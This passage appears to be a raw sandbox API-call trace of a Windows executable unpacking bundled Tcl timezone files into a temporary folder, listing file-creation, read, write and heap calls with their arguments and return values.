dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.789] GetFileType (hFile=0x10c) returned 0x1 [0039.789] htonl (hostlong=0xd7200000) returned 0x20d7 [0039.789] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.790] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.790] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd7, lpOverlapped=0x0) returned 1 [0039.791] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.791] CloseHandle (hObject=0x10c) returned 1 [0039.791] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.792] htonl (hostlong=0x30000000) returned 0x30 [0039.792] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.792] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.792] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.792] GetFileType (hFile=0x10c) returned 0x1 [0039.792] htonl (hostlong=0x2d8a5a00) returned 0x5a8a2d [0039.792] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f3a2d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.792] htonl (hostlong=0xe7050000) returned 0x5e7 [0039.792] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5e7) returned 0x550600 [0039.792] htonl (hostlong=0xe7050000) returned 0x5e7 [0039.792] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.793] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.793] htonl (hostlong=0x3d1d0000) returned 0x1d3d [0039.793] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1d3d) returned 0x561090 [0039.793] htonl (hostlong=0xe7050000) returned 0x5e7 [0039.793] htonl (hostlong=0x3d1d0000) returned 0x1d3d [0039.793] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562dd8 [0039.794] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562dd8 | out: hHeap=0x530000) returned 1 [0039.794] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.794] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.794] CloseHandle (hObject=0x10c) returned 1 [0039.795] GetLastError () returned 0x0 [0039.795] SetLastError (dwErrCode=0x0) [0039.796] GetLastError () returned 0x0 [0039.796] SetLastError (dwErrCode=0x0) [0039.796] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.796] GetFileType (hFile=0x10c) returned 0x1 [0039.796] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.796] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.796] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.796] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.796] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.796] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.796] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.796] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.796] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.796] CloseHandle (hObject=0x10c) returned 1 [0039.796] GetLastError () returned 0x0 [0039.796] SetLastError (dwErrCode=0x0) [0039.796] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.796] GetFileType (hFile=0x10c) returned 0x1 [0039.796] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.796] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.796] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.797] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.797] CloseHandle (hObject=0x10c) returned 1 [0039.797] GetLastError () returned 0x0 [0039.797] SetLastError (dwErrCode=0x0) [0039.797] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.797] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.797] GetFileType (hFile=0x10c) returned 0x1 [0039.797] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.797] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.797] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.797] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.797] CloseHandle (hObject=0x10c) returned 1 [0039.798] GetLastError () returned 0x0 [0039.798] SetLastError (dwErrCode=0x0) [0039.798] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Yellowknife") returned 76 [0039.798] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Yellowknife" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\yellowknife"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.798] GetLastError () returned 0x2 [0039.798] SetLastError (dwErrCode=0x2) [0039.798] GetLastError () returned 0x2 [0039.798] SetLastError (dwErrCode=0x2) [0039.798] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Yellowknife", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Yellowknife", lpFilePart=0x0) returned 0x4b [0039.798] GetLastError () returned 0x2 [0039.798] SetLastError (dwErrCode=0x2) [0039.798] GetLastError () returned 0x2 [0039.798] SetLastError (dwErrCode=0x2) [0039.798] GetLastError () returned 0x2 [0039.798] SetLastError (dwErrCode=0x2) [0039.798] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Yellowknife") returned 76 [0039.798] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.798] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Yellowknife" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\yellowknife"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.798] GetFileType (hFile=0x10c) returned 0x1 [0039.798] htonl (hostlong=0x3d1d0000) returned 0x1d3d [0039.798] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.799] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.799] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd3d, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd3d, lpOverlapped=0x0) returned 1 [0039.800] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.800] CloseHandle (hObject=0x10c) returned 1 [0039.800] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.800] htonl (hostlong=0x40000000) returned 0x40 [0039.800] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.800] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.800] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.801] GetFileType (hFile=0x10c) returned 0x1 [0039.801] htonl (hostlong=0x14905a00) returned 0x5a9014 [0039.801] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f4014, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.801] htonl (hostlong=0xac000000) returned 0xac [0039.801] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xac) returned 0x55cfe0 [0039.801] htonl (hostlong=0xac000000) returned 0xac [0039.801] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.801] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.801] htonl (hostlong=0x4010000) returned 0x104 [0039.801] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x104) returned 0x550600 [0039.801] htonl (hostlong=0xac000000) returned 0xac [0039.801] htonl (hostlong=0x4010000) returned 0x104 [0039.801] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.801] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.801] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.801] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.801] CloseHandle (hObject=0x10c) returned 1 [0039.801] GetLastError () returned 0x0 [0039.801] SetLastError (dwErrCode=0x0) [0039.801] GetLastError () returned 0x0 [0039.801] SetLastError (dwErrCode=0x0) [0039.801] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.801] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.801] GetFileType (hFile=0x10c) returned 0x1 [0039.801] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.802] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.802] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.802] CloseHandle (hObject=0x10c) returned 1 [0039.802] GetLastError () returned 0x0 [0039.802] SetLastError (dwErrCode=0x0) [0039.802] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.802] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.802] GetFileType (hFile=0x10c) returned 0x1 [0039.802] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.802] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.802] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.802] CloseHandle (hObject=0x10c) returned 1 [0039.803] GetLastError () returned 0x0 [0039.803] SetLastError (dwErrCode=0x0) [0039.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica") returned 67 [0039.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.803] GetLastError () returned 0x2 [0039.803] SetLastError (dwErrCode=0x2) [0039.803] GetLastError () returned 0x2 [0039.803] SetLastError (dwErrCode=0x2) [0039.803] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica", lpFilePart=0x0) returned 0x42 [0039.803] GetLastError () returned 0x2 [0039.803] SetLastError (dwErrCode=0x2) [0039.803] GetLastError () returned 0x2 [0039.803] SetLastError (dwErrCode=0x2) [0039.803] GetLastError () returned 0x2 [0039.803] SetLastError (dwErrCode=0x2) [0039.803] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica"), lpSecurityAttributes=0x0) returned 1 [0039.803] GetLastError () returned 0x2 [0039.803] SetLastError (dwErrCode=0x2) [0039.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Casey") returned 73 [0039.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Casey" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\casey"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.803] GetLastError () returned 0x2 [0039.804] SetLastError (dwErrCode=0x2) [0039.804] GetLastError () returned 0x2 [0039.804] SetLastError (dwErrCode=0x2) [0039.804] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Casey", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Casey", lpFilePart=0x0) returned 0x48 [0039.804] GetLastError () returned 0x2 [0039.804] SetLastError (dwErrCode=0x2) [0039.804] GetLastError () returned 0x2 [0039.804] SetLastError (dwErrCode=0x2) [0039.804] GetLastError () returned 0x2 [0039.804] SetLastError (dwErrCode=0x2) [0039.804] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Casey") returned 73 [0039.804] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.804] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Casey" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\casey"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.804] GetFileType (hFile=0x10c) returned 0x1 [0039.804] htonl (hostlong=0x4010000) returned 0x104 [0039.804] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.804] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x104, lpOverlapped=0x0) returned 1 [0039.805] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.805] CloseHandle (hObject=0x10c) returned 1 [0039.806] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.806] htonl (hostlong=0x30000000) returned 0x30 [0039.806] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.806] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.806] CreateFileW 